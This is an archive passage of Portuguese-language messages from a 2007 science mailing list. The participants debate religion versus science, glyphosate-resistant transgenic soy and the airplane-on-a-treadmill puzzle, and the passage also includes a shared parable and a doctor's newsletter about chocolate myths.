doenças, muita saúde, pode saber mais sobre Marte que seus
antepassados sabiam sobre a Terra, etc, etc, etc.

É por isso que TODOS os cientistas, até os que tem alguma crença (que
são poucos, muito poucos) concordam com o Takata e discordam de você,
deuses e divindades devem ficar DE FORA da ciência, pois não existem
evidências de que sejam reais ou relevantes. Minimamente relevantes.

Pode viver SEM deuses e divindades, fé de qualquer tipo, e nada vai
mudar em sua vida. Mas tente viver sem ciência, e descobrirá que é bem
difícil.

E se "enfiar" deuses e divindades na ciência, está volta a ser tão
ineficaz, tão tola, tão irracional, quanto foram as fés do passado, e
será o mesmo que viver sem ciência.

Meta deuses e divindades no meio, e seu computador PARA de funcionar e
você fica isolado de todo o resto, da lista inclusive (sabe, até que é
boa idéia, você desligar o seu HD e usar a fé para guardar seus
emails..:-). Tire os deuses, e tudo volta a funcionar e a ser
compreendido racionalmente.

Por favor, entenda isso e pare de fazer proselitismo na lista, por
favor, por favor..:-) Se deseja mesmo ser "útil", aceite nossos
pedidos de parar com essas tolcies, sim?

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Takata!
>
> Takata >>> Deep Blue?
>
> --- Pensei que conhecia. Este era o nome do computador
> da IBM que venceu o Kasparov no xadrez.
>
> Takata >>> Tb não.
>
> --- Ótimo! Tomo sua palavra como honesta e não te
> julgo mais por isto.
>
> Takata >>> O q não quer dizer q eu vá me furtar a
> tentar mostrar as inconsistências q vejo em certas
> opiniões emitidas.
>
> --- Nem deve. Fazer isto é a essencia de qualquer
> debate. Tirada esta essencia não há porque debater.
>
> Takata >>> Especialmente de opiniões em uma área q,
> por acaso, vem a ser a em q eu trabalho.
>
> --- Que área vc trabalha?
>
> Takata >>> Se vc encontrar os EPs "Soul Show" e o
> "Blue Million Miles" da Joan Osborne...
>
> --- Ok, este tipo de coisa o True Blue não sabe fazer.
> Mas desconheço o assunto.
>
> Takata >>> Minha intenção em debater a questão do mapa
> e do território com voce é ... Mostrar como vc está
> equivocado a respeito das ciências
>
> --- Porque diz isto? Com base em que?
>
> Takata >>> e como a sua visão de realidade é
> inconsistente.
>
> --- E qual é minha visão da realidade?
>
> Takata >>> E tb defender a idéia de q deuses e
> divindades são conceitos q devem ser mantidos longe do
> discurso sobre ciências.
>
> --- Porque vc defende a idéia de q deuses e divindades
> são conceitos q devem ser mantidos longe do discurso
> sobre ciências? Suponho que vc deve ter algum motivo
> para fazer isto? E, principelamente, deve ter um
> motivo pra que todos os cientistas aceitem e
> compartilhem da sua idéia. Afinal, note que quando vc
> diz "longe do discurso sobre ciências", vc está
> falando "em nome da ciencia". Caso contrário vc teria
> dito: "porque defendo a idéia de q deuses e divindades
> são conceitos q devem ser mantidos longe do "meu"
> discurso sobre ciências?". Mas vc não disse meu, vc
> quer que o mesmo que vc deseja pra si, sejá pra todos
> os cientistas. Suponho que tenha um motivo pra isto?
> Qual é este motivo? E porque tem certeza que o que
> defende para si mesmo é o melhor para todos os
> cientistas?
>
>
> sinceramente
> ferrari
>
>
>
> >
> > []s,
> >
> > Roberto Takata
> >
> >
>
>
>
>
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SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 16:31

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Homero, escreveu: [ Uma empresa pode criar uma semente transgênica,
que é
> resistente apenas a seu próprio herbicida, de forma a criar um
monopólio
> vertical: vende a semente, o que obriga a compra de adubo, insumos
e
> herbicidas, tudo fabricado por ela mesma. ]
> .............................................
>
> Parece-me que o tempo do verbo está defasado na descrição dessa
> possibilidade perversa denunciada pelos ecologistas. A semente e o
herbicida
> com esse perfil "especial" já são produzidas pela Monsanto.
> []s
> JR

>>>>Na verdade a 'venda casada' se restringe mais ao herbicida
glifosato, q e' chamado comercialmente de Round Up e e' vendido pela
Monsanto. A soja transgenica da Monsanto e' resistente a esse
herbicida, por isso e' chamada de Round Up Ready. Adubos e outros
insumos sao similares para as sojas transgenica e comum. Tudo leva a
crer q ha' claras vantagens no uso da soja transgenica, tanto q os
agricultores gauchos praticamente so' usam soja transgenica por la'.
Com soja RUR se reduz muito o uso de herbicida, pois se pode usar
poucas doses de um produto altamente letal para plantas nao
protegidas geneticamente como o glifosato, q e' ao mesmo tempo muito
pouco toxico para animais e de alta degradabilidade. Com isso, os
especialistas da area dizem q o uso de soja transgenica e' mais
economico para o agricultor e menos agressivo ambientalmente. Claro q
os grandes lucros da fase 'informal', qdo nao pagavam royalties aa
Monsanto, acabou, mas pelo q tenho lido nos jornais a lucratividade
ainda e' maior q a soja comum, mesmo com os royalties. O mecanismo de
transgenia da soja RUR e' muito simples: Um gene responsavel pela
sintese de uma enzima q causa a degradacao do glifosato (naturalmente
existente na soja comum, mas insuficiente p/ conferir resistencia
significativa aa planta), e' colocado em muitas copias no genoma da
soja transgenica, q assim degrada o glifosato mais rapido do q e'
afetada por ele. Quer dizer, nao ha' genes alienigenas na soja
transgenica, apenas genes ja' naturalmente presentes no genoma da
soja comum.

Mas e' preciso pesquisar mais plantas transgenicas, em rotas
diferentes das usadas pelas grandes multis, para diversificarmos essa
tecnica e para nao ficarmos na mao de poucas empresas de alta
tecnologia.

O futuro da agricultura e' transgenico, disso nao resta duvida. As
plantas nao conseguirao mudar o suficiente, e suficientemente rapido,
por metodos nao transgenicos, na extensao d q necessitaremos para
expandir a agricultura sem estressar ambientalmente o planeta na
escala em q sera' necessario estressar com plantas 'naturais', se
quisermos alimentar bem a toda humanidade.

Abs,
Eduardo Torres



SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 17:05

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> Quer dizer, nao ha' genes alienigenas na soja transgenica, apenas
> genes ja' naturalmente presentes no genoma da soja comum.

Se assim for não se poderia nem chamar a planta de transgênica -
apenas de OGM ou bioengenheirada. Mas pelo q sei, o gene q promove a
resistência (/nptII/) é de uma bactéria: /Agrobacterium/ sp. linhagem CP4.

[]s,

Roberto Takata



SUBJECT: Re: Balanço do avião
FROM: Hélio Ricardo Carvalho <hrc@fis.puc-rio.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 19:25

Renato,


A alternativa correta é a 2 (Voa sim, qualquer que seja a velocidade
da correia).

Mesmo que o computador que controla a correia meça a velocidade do
avião em relação a própria correia, a resposta correta é a 2.

O avião para andar empurra o ar (que podemos dizer que está solidário
ao solo desprezando qualquer vento).

Quando o avião começar a andar em relação ao ar, ele estará andando em
relação à correia que estava inicialmente parada.

Aí o computador diz para a correia "ande para trás (em relação ao
solo) com velocidade igual em módulo ao que o avião está em relação à
você!".

A correia começa a andar MAS ISTO NÃO É SENTIDO PELO AVIÃO que
continua indo para frente (em relação ao ar/solo) pois NÃO existe
ligação que possa transmitir força entre a correia e o avião. Mesmo na
situação de atrito roda/eixo diferente de zero (falada por Takata) a
força de atrito é desprezível em comparação a força provocada pelas
turbinas contra o ar. E mais uma coisa, esta força de atrito não é
proporcional a velocidade de rotação.

O computador fica doido pois percebe que a velocidade do avião em
relação à correia está aumentando cada vez mais rápido e manda a
correia acelerar cada vez mais até ao máximo que o
computador/drive/motor/correia aguentem. Mas por absurdo vamos
imaginar que isto não tem limite e a velocidade da correia tende
exponencialmente para infinito (ou, melhor dizendo, para c para não
melindrar outros listeiros).

O avião nem sente cosquinha desta correia, qualquer que seja esta
super velocidade e decola tranqüilamente.


Abraços,
Hélio





> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> José Carlos, volto a postar um e-mail questionando os listeiros sobre o
> assunto.
> []s
> JR
> ....................................
>
> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 01, 2007 10:41 PM
> Subject: [ciencialist] Balanço do avião
>
>
> Será que numa próxima oportunidade, que voltar a discussão sobre o
problema
> do avião se deslocando sobre uma esteira, as pessoas vão pensar
melhor a
> questão ou vão continuar com as mesmas posições? No início havia
confusão e
> dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se
convenceram
> que voa, Victor e Ricardo entre eles. Takata concluiu que depende. Luiz
> ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a uma das
> opões e fechou-se aos argumentos que apresentei em relação a uma outra
> opção, até que desistiu... E o problema se esvaiu sem maiores
conclusões
> firmadas.
> Qual seria o balanço das opiniões afinal?
>
> 1. Voa sim, com o dobro da velocidade da correia.
>
> 2. Voa sim, qualquer que seja a velocidade da correia
>
> 3. Não voa, qualquer que seja a velocidade da correia.
>
> 4. Voa ou não, dependendo do ponto de referência para a medição da
> velocidade do avião: voa quando é medida em relação ao solo; não voa
quando
> é medida em relação à correia.
>
> 5. Nenhuma das respostas acima. (Para quem escolher essa opção,
parece-me
> importante indicar qual seria sua resposta.)
>
> Abraços
>
> José Renato
>




SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/04/2007 22:30

Marcelo, já que vc considera que há essa possibilidade, vou lhe dar mais uma
dica.
Quando um avião decola, ele se desloca sobre a pista para a frente.
Entretanto, parece aos passageiros desse avião que é a pista-solo que se
movimenta para trás *na mesma velocidade do avião*!
No problema apresentado a pista-solo é uma esteira que se desloca
simultaneamente para trás, sempre na mesma velocidade do avião, que se
desloca para frente sobre a esteira-pista.
[]s
José Renato
................................................

From: "Marcelo Cortimiglia" <cortimiglia@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, April 09, 2007 10:37 PM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada :)


Jose Renato,

bom, eu fiquei calado porque percebi a inutilidade de tentar te convencer do
teu equivoco. O aviao nao decolar se mudar o referencial é simplesmente
absurdo!

Evidentemente, sempre ha a possibilidade de todos estarmos errados e tu
certo.

Abracos,

Marcelo Cortimiglia


Em 10/04/07, José Renato <jrma@terra.com.br> escreveu:
>
> Olá, José Carlos, ainda bem que vc não entendeu no início! Mas agora com
> a
> explicação de Homero vc ficou conhecendo uma das soluções possíveis da
> questão. A outra solução ainda não consegui transmitir aos interlocutores
> da
> lista. Pelo menos até agora ninguém disse que a entendeu. Estranhamente,
> alguns ficaram calados depois de algumas explicações mais detalhadas... É
> bom lembrar que as idéias não têm dono, mas têm autoria. É de boa ética
> citá-la ao transmitir em outras plagas.
>
> []s
>
> José Renato
> .............................................
>
> ----- Original Message -----
> From: "José Carlos Antonio"
> <profjc2003@yahoo.com.br<profjc2003%40yahoo.com.br>
> >
> To: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Sent: Monday, April 09, 2007 6:02 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
> nada
> :)
>
> Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas porque
> o José Renato não entendeu ainda? Será que ele está pensando que a
> esteira está arrastando o avião para trás?
>
> Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
> avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
> alegria!).
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "oraculo333" <oraculo@...> escreveu
> >
> > Olá JC
> >
> > Este debate se originou de um experimento mental, uma "pegadinha", que
> > continha este enunciado:
> >
> > Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
> > se move para frente, a esteira, a partir de um dispositivo automático,
> > começa a rolar para tras, na mesma velocidade de deslocamento do avião.
> >
> > Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
> > relação ao ar), ou não decola (ou seja, não atinge a velocidade de voo).
> >
> > Depois de, inicialmente, alguns serem "enganados" pelo "red hering", a
> > esteira que rola para tras, o que os levou a afirmar que o avião NÃO
> > decolava, pois não saia do lugar, todo mundo entendeu que, era
> > irrelevante a esteira, pois esta só aplicava força através dos
> > rolamentos das rodas, que são, no caso do avião, dispositivos de
> > ELIMINAR a ligação entre o avião e o solo.
> >
> > Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
> > rodas do avião, que continua a se mover para frente.
> >
> > Parte do engano é a forma como "vemos" as rodas, como dispositivos de
> > tração. Se colocar um carro na esteira, como ele depende da "tração"
> > das rodas para se mover, o rolar da esteira impede que este ande para
> > frente.
> >
> > Mas aviões se movem com propulsão separada do solo e das rodas! Ele se
> > move pelas hélices e jatos. E estes o moverão para frente seja sobre
> > rodas na esteira, seja sobre eskis no gelo, seja sobre flutuadores na
> > água.
> >
> > Mas o Renato se recusa a entender, e afirma que o avião não decola.
> > Mais ainda, já bem encurralado, resolveu que "depende" do referencial
> > com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> > seja, se medir a velocidade do avião em relação a esteira, ele não
> > voa, se mudar a passar a medir a velocidade do avião em relação ao
> > solo, ele voa.
> >
> > É um caso fantástico, onde dependendo do referencial em que mede algo,
> > o objeto se comporta de forma diferente!..:-) Até a relatividade do
> > coitado do Einstein (que já foi usado para justificar todo e qualquer
> > absurdo) ele tentou usar para sua tese.
> >
> > Parte do engano veio de uma discussão paralela com o Takata, que
> > defendia que, em determinadas circunstâncias, o atrito dos rolamentos
> > das rodas poderiam desacelerar o avião o suficiente para que este não
> > decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
> > dos rolamentos, o avião decola sempre.
> >
> > Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
> > enganaram no início com o "red hering" da esteira (como o próprio
> > Leo), mas sem sucesso algum..:-)
> >
> > Se quiser tentar também, eu já desisti..:-)
> >
> > Um abraço.
> >
> > Homero
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SUBJECT: Frase da semana...
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <consciencia_sustentavel@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <artedepensar@yahoogrupos.com.br>, "Cidadania Alerta" <cidadanialerta@terra.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 10/04/2007 22:31

transcrevo do (nente estratégica)

"Educação serve pouco se as pessoas não forem livres. É só lembrar o que aconteceu nos países comunistas, onde a educação era considerada de qualidade. (Odemiro Fonseca em "Benefícios da liberdade" - O Globo de 04/01/2007, página7)

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: COMO NASCE UM PARADIGMA
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 22:34

( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)


>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>
>--------------------------------------------------------------------------------
>
>
>No virus found in this incoming message.
>Checked by AVG Free Edition.
>Version: 7.5.446 / Virus Database: 269.0.0/754 - Release Date: 9/4/2007
>22:59



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/04/2007 22:43

Eduardo, grato pelos amplos esclarecimentos. Valeu!
[]s
José Renato
.............................................

----- Original Message -----
From: "Eduardo Torres" <dudutorres@yahoo.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 4:31 PM
Subject: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Homero, escreveu: [ Uma empresa pode criar uma semente transgênica,
que é
> resistente apenas a seu próprio herbicida, de forma a criar um
monopólio
> vertical: vende a semente, o que obriga a compra de adubo, insumos
e
> herbicidas, tudo fabricado por ela mesma. ]
> .............................................
>
> Parece-me que o tempo do verbo está defasado na descrição dessa
> possibilidade perversa denunciada pelos ecologistas. A semente e o
herbicida
> com esse perfil "especial" já são produzidas pela Monsanto.
> []s
> JR

>>>>Na verdade a 'venda casada' se restringe mais ao herbicida
glifosato, q e' chamado comercialmente de Round Up e e' vendido pela
Monsanto. A soja transgenica da Monsanto e' resistente a esse
herbicida, por isso e' chamada de Round Up Ready. Adubos e outros
insumos sao similares para as sojas transgenica e comum. Tudo leva a
crer q ha' claras vantagens no uso da soja transgenica, tanto q os
agricultores gauchos praticamente so' usam soja transgenica por la'.
Com soja RUR se reduz muito o uso de herbicida, pois se pode usar
poucas doses de um produto altamente letal para plantas nao
protegidas geneticamente como o glifosato, q e' ao mesmo tempo muito
pouco toxico para animais e de alta degradabilidade. Com isso, os
especialistas da area dizem q o uso de soja transgenica e' mais
economico para o agricultor e menos agressivo ambientalmente. Claro q
os grandes lucros da fase 'informal', qdo nao pagavam royalties aa
Monsanto, acabou, mas pelo q tenho lido nos jornais a lucratividade
ainda e' maior q a soja comum, mesmo com os royalties. O mecanismo de
transgenia da soja RUR e' muito simples: Um gene responsavel pela
sintese de uma enzima q causa a degradacao do glifosato (naturalmente
existente na soja comum, mas insuficiente p/ conferir resistencia
significativa aa planta), e' colocado em muitas copias no genoma da
soja transgenica, q assim degrada o glifosato mais rapido do q e'
afetada por ele. Quer dizer, nao ha' genes alienigenas na soja
transgenica, apenas genes ja' naturalmente presentes no genoma da
soja comum.

Mas e' preciso pesquisar mais plantas transgenicas, em rotas
diferentes das usadas pelas grandes multis, para diversificarmos essa
tecnica e para nao ficarmos na mao de poucas empresas de alta
tecnologia.

O futuro da agricultura e' transgenico, disso nao resta duvida. As
plantas nao conseguirao mudar o suficiente, e suficientemente rapido,
por metodos nao transgenicos, na extensao d q necessitaremos para
expandir a agricultura sem estressar ambientalmente o planeta na
escala em q sera' necessario estressar com plantas 'naturais', se
quisermos alimentar bem a toda humanidade.

Abs,
Eduardo Torres



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SUBJECT: RE: [ciencialist] Re: Homero: Questão de Ordem - Direito de Defesa
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 22:45

Ferrari,
admiro, cada x+ a sua paciência.
Villas Boas enxugando gelo... a missão...
Vc está dando respostas preciosas a quem não tem perguntas!!!
Não estou num sítio, pelo contrário, estou de gravata no buxixo total, mas
meu caminho filosófico é muito mais solitário.
Evidentemente, isso não é uma crítica... é pura admiração.
Conte mais sobre a tal facada!
abr/Muliro


>From: Ferrari <emailferrari@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Homero: Questão de Ordem - Direito de Defesa
>Date: Tue, 10 Apr 2007 11:32:41 -0300 (ART)
>
>Olá Homero!
>
>Homero >>> Apenas para constar, e para ajuda-lo a
>decidir que rumo tomar.
>
>--- Homero, o sábio, calejado e ilustre Paulinho da
>Viola diz o seguinte: "Não sou eu quem me navega, quem
>me navega é o mar". Canto o mesmo refrão junto com
>Paulinho. Como disse ao murilo, qualquer lugar que se
>chega é apenas um lugar qualquer. Esta compreenção é o
>unico lugar onde se pode chegar. O resto é navegar.
>Estamos no mesmo barco, quer vc queira, quer não. Ser
>útil, dentro deste barco, não é ajudar ninguém a
>chegar a lua, ou construir carros de hidrogenio. Que
>utilidade tem isto frente a inevitável morte? Tudo
>vira bosta, lembra? Ser util, dentro deste barco, é
>compreender a ilusão do materialismo, é compreender
>que tudo vira bosta, mas o processo de "virar" é
>eterno. Eis o moto-continuo. Abre logo a carta,
>Homero, ou vc quer virar bosta junto com a carta?
>
>Homero >>> eu acho suas participações totalmente
>inúteis, em termos de ciência.
>
>--- Faz todo sentido vc achar isto, a visão que vc tem
>de ciencia é totalmente materialista.
>
>Homero >>> E, sim, fica parecendo dogmatismo e
>cegueira religiosa, teológica, e irracional.
>
>--- Este é seu ponto de vista, Homero. Respeito. Mas
>não concordo com ele. Olhando do meu ponto de vista,
>não-materialista, o dogmático é você.
>
>
>sinceramente
>ferrari
>
>
>
>
>
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SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 23:30

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

...Mas pelo q sei, o gene q promove a
> resistência (/nptII/) é de uma bactéria: /Agrobacterium/ sp.
linhagem CP4.
>
> []s,
>
> Roberto Takata


>>>>Bom, essa e' uma questao talvez semantica. Explico: Posso ter
entendido errado, mas, pelo q compreendi do processo, a enzima
codificada por esse gene da AB CP4 e' a mesma q existe normalmente
no genoma da soja. Explico mais um pouco: O glifosato mata as
plantas inibindo a enzima EPSPS (5-enolpiruvilshikimate-3-fosfato-
sintase). A EPSPS e' uma enzima essencial para um caminho metabolico
chamado Shikimate, q permite a sintese de aminoacidos aromaticos
(triptofano, tirosina e fenilalanina), vitais para as plantas (esse
ciclo nao existe no metabolismo animal). E o mecanismo de inibicao
e' por competicao pelo sitio ativo da enzima. A estrutura do
glifosato e' semelhante aa do substrato da EPSPS, q e' o
fosfoenolpiruvato (PEP), e assim o glifosato se liga aa EPSPS no
lugar do PEP, desativando-a. As plantas tornam-se resistentes ao
glifosato por serem geneticamente modificadas para terem inumeras
copias ativas do gene q codifica a sintese da EPSPS, assim, mesmo
com o glifosato desativando parte da enzima, sobra o suficiente pra
planta tocar suas sinteses de aminoacidos. Essa mesma enzima faz
parte tb do metabolismo de bacterias e fungos. De novo pelo q
entendi do processo, a maneira mais pratica encontrada de se fazer
uma soja com varias copias desse gene foi atrave's da introducao do
gene de EPSPS vindo da AB CP4 em vez da propria soja (nao sei por
que isso, talvez pelo processo de 'introducao' do gene no genoma da
soja), mas e', ao meu conhecimento, o mesmissimo gene da
EPSPS 'natural' do genoma da soja, base por base. Isso e' transgenia
ou modificacao genetica?

;-)

Abs,
Eduardo Torres



SUBJECT: Re: [ciencialist] A CIÊNCIA DOS OVOS DE PÁSCOA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <alessandroloiola@yahoo.com.br>
DATE: 11/04/2007 00:00

Dr. Alessandro:

Considerando que chocolate amolece a uns 35 gráus, as indústrias adicionam parafina para que o ponto de derretimento aumente bastante. Como estamos vivendo dias mais quentes, e os ovos de páscoa estão resistindo, pergunto: o aumento do coeficiente de parafina que é um sub-produto do petróleo, qual o risco para os humanos, principalmente crianças, a ingestão dessa parafina?

sds.,

silvio.
----- Original Message -----
From: Alessandro Loiola
To: alessandroloiola@yahoo.com.br
Sent: Friday, April 06, 2007 12:59 AM
Subject: [ciencialist] A CIÊNCIA DOS OVOS DE PÁSCOA


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DR. ALESSANDRO LOIOLA - SAÚDE PARA TODOS - 06/04/2007 - No.046

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Olá,

Aproveitando o pano de fundo da Páscoa e o ataque dos chocolates malditos, pensei que seria útil você ter algo com que contra-atacar o enxame de calorias. E até, quem sabe, diminuir um pouco seu sentimento de culpa depois de comer o oitavo ovo de páscoa desta semana...

Se isso é possível? Bom, o resultado você poderá conferir adiante.

Boa leitura!


Dr. Alessandro Loiola.

__________________________________________________________



A CIÊNCIA DOS OVOS DE PÁSCOA

© Dr. Alessandro Loiola


Durante a época de Páscoa, além da comemoração da Passagem e da Fertilidade e de toda aquela história que aprendemos na escola durante as aulas de Educação Religiosa, também celebra-se o consumismo em cada canto dos supermercados e shoppings com os famigerados ovos de chocolate.

Além de área de nidificação do Coelhinho da Páscoa, as prateleiras destes locais se transformam em centro de peregrinação de outra subespécie interessante: com sorrisos de alívio estampados no rosto, os chocólatras de plantão finalmente podem circular impunes pela rua, livres de olhares condenadores. Afinal, todo mundo se torna um chocólatra em potencial no mês do coelhinho...

Acredita-se que os Astecas tenham sido primeiros chocólatras da história. Foram eles que inventaram o "chocolatl", uma infusão com sementes de cacau que - segundo acreditavam - possuía poderes afrodisíacos. Diz-se que seu imperador, Montezuma, chegava a beber mais de 50 porções de chocolatl por dia - e outras doses extras antes de entrar em seu harém.

Os Astecas podiam até estar errados, mas não custa nada adicionar uma barrinha de chocolate à sua noitada. Só por precaução, sabe como é. E garanto que irá chamar menos atenção que aquela pílula azul.

O chocolate começou a ganhar a Europa em 1528, quando o famoso conquistador Cortez presenteou o Rei Carlos V com algumas sementes de cacau. A partir daí, o chocolate se tornaria tão popular e valioso na Espanha que sua produção seria mantida em segredo por vários séculos.

A primeira "fábrica" de chocolate surgiu na Inglaterra em 1657, mas o chocolate sólido só se tornaria popular mesmo no final do século XIX. Em 1876, na Suíça, Daniel Peter desenvolveu a técnica de adição de leite ao chocolate, dando a forma final ao produto que consumimos até hoje.

Desde que o Chocolate conquistou o mundo, surgiram dezenas de mitos sobre suas propriedades. Vez ou outra, um desses aparece durante uma consulta. Para lhe dar um ar de erudição enquanto você devora mais um ovo de Páscoa tamanho extra-super-gigante, selecionei 3 lendas comuns e suas explicações cientificamente embasadas. Espero que lhe sejam úteis!

Chocolate não contém nutrientes e ainda por cima engorda

O chocolate contém mais de 300 nutrientes e substâncias químicas diferentes, além de apresentar níveis elevados de flavonóides e compostos fenólicos capazes de diminuir o risco para doenças cardíacas.

Apesar de uma barra média de chocolate conter mais de 200 calorias, a maioria das pessoas acima do peso não come quantidades excessivas de chocolate. Na verdade, o consumo de açúcar nestas pessoas tende a estar abaixo da média. O problema está no elevado consumo total de calorias e na pouca quantidade de energia gasta em atividades físicas.

Chocolate causa cárie

Todo e qualquer alimento rico em açúcar pode contribuir para a formação de cáries. Entretanto, pesquisas no Forsyth Dental Center (Boston/EUA) e na Escola de Odontologia da Universidade da Pensilvânia, mostraram que o chocolate é capaz de anular o potencial acidificante do seu açúcar e reduzir a desmineralização dos dentes.

O açúcar contido no chocolate não é mais perigoso que o açúcar contido nos demais alimentos. O que importa é a qualidade da sua higiene bucal, não o tamanho da barra de chocolate.

Chocolate vicia

Em parte, é verdade. O chocolate possui uma capacidade incomum para interagir com a química cerebral. E essa maior afinidade pode resultar em comedores compulsivos.

Se você acha que possui vício em chocolate, uma boa idéia é comer vegetais folhosos verdes, como brócolis e aspargos: estes alimentos substituem algumas das substâncias que produzem o "vício" e podem ajudar a controlar os sintomas, evitando que você voe na jugular do vendedor de bombons mais próximo.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de "Vida e Saúde da Criança" e "Crianças em forma: saúde na balança" (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 00:12

Olá JR,

Não conheço sua solução (é sua?), aliás, nem sabia que tinha outra
além da que o Homero comentou (é dele?).

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos, ainda bem que vc não entendeu no início! Mas agora
com a
> explicação de Homero vc ficou conhecendo uma das soluções possíveis da
> questão. A outra solução ainda não consegui transmitir aos
interlocutores da
> lista. Pelo menos até agora ninguém disse que a entendeu.
Estranhamente,
> alguns ficaram calados depois de algumas explicações mais
detalhadas... É
> bom lembrar que as idéias não têm dono, mas têm autoria. É de boa ética
> citá-la ao transmitir em outras plagas.
>
> []s
>
> José Renato
> .............................................
>
> ----- Original Message -----
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 09, 2007 6:02 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas porque
> o José Renato não entendeu ainda? Será que ele está pensando que a
> esteira está arrastando o avião para trás?
>
> Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
> avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
> alegria!).
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@> escreveu
> >
> > Olá JC
> >
> > Este debate se originou de um experimento mental, uma "pegadinha", que
> > continha este enunciado:
> >
> > Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
> > se move para frente, a esteira, a partir de um dispositivo automático,
